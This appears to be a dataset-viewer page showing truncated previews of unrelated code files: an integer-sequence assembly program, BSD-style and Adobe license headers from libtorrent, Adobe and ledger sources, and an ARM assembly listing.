; 0,8,8,16,24,40,64,104,168,272,440,712,1152,1864,3016,4880,7896,12776,20672,33448,54120,87568,141688,229256,370944,600200,971144,1571344,2542488,4113832,6656320,10770152,17426472,28196624,45623096,73819720,119442816
mov $3,1
lpb $0
sub $0,1
mov $2,$1
mov $1,$3
add... |
/*
Copyright (c) 2013-2017, 2019, Arvid Norberg
Copyright (c) 2015, Mike Tzou
Copyright (c) 2016, Andrei Kurushin
Copyright (c) 2018, Alden Torres
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
* ... |
// =================================================================================================
// Copyright Adobe
// Copyright 2014 Adobe
// All Rights Reserved
//
// NOTICE: Adobe permits you to use, modify, and distribute this file in accordance with the terms
// of the Adobe license agreement accompanying it. ... |
/*
* Copyright (c) 2003-2019, John Wiegley. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* - Redistributions of source code must retain the above copyright
* notice, this list of c... |
1 .syntax unified
2 .cpu cortex-m0
3 .fpu softvfp
4 .eabi_attribute 20, 1
5 .eabi_attribute 21, 1
6 .eabi_attribute 23, 3
7 .eabi_attribute 24, 1
8 .eabi_attribute 25, 1
9 ... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.